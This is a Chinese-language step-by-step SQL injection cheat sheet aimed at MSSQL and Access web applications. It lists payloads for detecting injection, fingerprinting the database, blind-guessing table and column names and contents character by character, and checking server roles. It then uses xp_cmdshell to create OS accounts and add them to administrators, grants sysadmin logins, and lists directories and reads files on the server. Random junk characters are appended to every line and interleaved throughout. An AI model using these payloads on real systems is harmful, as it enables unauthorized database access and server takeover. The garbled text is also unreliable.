1.判断是否有注入;and 1=1 ;and 1=2 !'!\>x$
2.初步判断是否是mssql ;and user>0 c)Ng9p
pzt<[;
3.注入参数是字符'and [查询条件] and ''=' Tcv/EST
]Ky`AG`2~
4.搜索时没过滤参数的'and [查询条件] and '%25'=' |L89yjhWBs
Qn$YI9t
5.判断数据库系统 t"9r`0>
e{5O>RO
;and (select count(*) from sysobjects)>0 mssql zk1]?
8 # BR\
;and (select count(*) from msysobjects)>0 access #'@@P6o5
mb`h
vH}VieU
cxQ %tL+S&
6.猜数据库 ;and (select Count(*) from [数据库名])>0 8B+C[Q:+'
OI0@lSAo<
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ajG_t
Za?BpV~
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 e34g=]"
UdcV<#
9.(1)猜字段的ascii值(access) b7+(g[O
1}Guhayy
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 )l(DtU!E
@:Ft+*2
(2)猜字段的ascii值(mssql) U:@tdH+A7
nxEC6Vh'
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 j"Ew)6j
`c^">L
10.测试权限结构(mssql) 6*EIhIQ(
=/xx:D/
,c`Wmp^AY
4Q1R:Ra
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- }Q9+krrow
Jq"3xj
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Rxr?T-
O` !XW8
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 3&"uf9d
,y-!h@(
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- f`rI]v|@
f6\4,()
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 4M0p:Ey '
;*+H&
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- OaT]2o
*aFh*-Sj2I
;and 1=(select IS_MEMBER('db_owner'));-- BhjDyB
SY:ISzB}
` PeC,bp
\QG2V$
11.添加mssql和系统的帐户 wi%ls8F
'~7zeZ'
;exec master.dbo.sp_addlogin username;-- Wwr
;exec master.dbo.sp_password null,username,password;-- L?M
x"
y,OG9iD:h
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- CbxWK#aMmB
u(hJyo}
;exec master.dbo.xp_cmdshell 'net user username password {,(iL8,^
e_l|32#/
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- De{ZQg)
2qV oe}F
;exec master.dbo.xp_cmdshell 'net user username password /add';-- f)Y~F/[$P
zN)) .a
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- #Jp|Cb<qx
C CLc,r>)
JrX. f
%2B1E( r%M
12.(1)遍历目录 !&.-{ _$
=\MAz[IDj
;create table dirs(paths varchar(100), id int) '.gi@Sr5
$Xu/P5
;insert dirs exec master.dbo.xp_dirtree 'c:\' +7AH|v8
eJ ^I+?h
;and (select top 1 paths from dirs)>0 cF EO}
Xx2t0AIB
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) MZWv#;.]
'qG-)2
t
2}*8( 32
\L}7.fkb8
(2)遍历目录 ;n|%W,b-
5}! 36SO\
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- "(dI/}
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 2 J3/Eu
yh|+Usa
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 H;q[$EUNb
tJ8:S@E3,
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 b5KK0Jjk
@[f$MRp\
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Lp4F1H2t-
,Jn` qvmi
IGlyx'\_
Tdz#,]Q
13.mssql中的存储过程 oQ*LP{M
?|
6sTu!
xp_regenumvalues 注册表根键, 子键 VeY&pPQ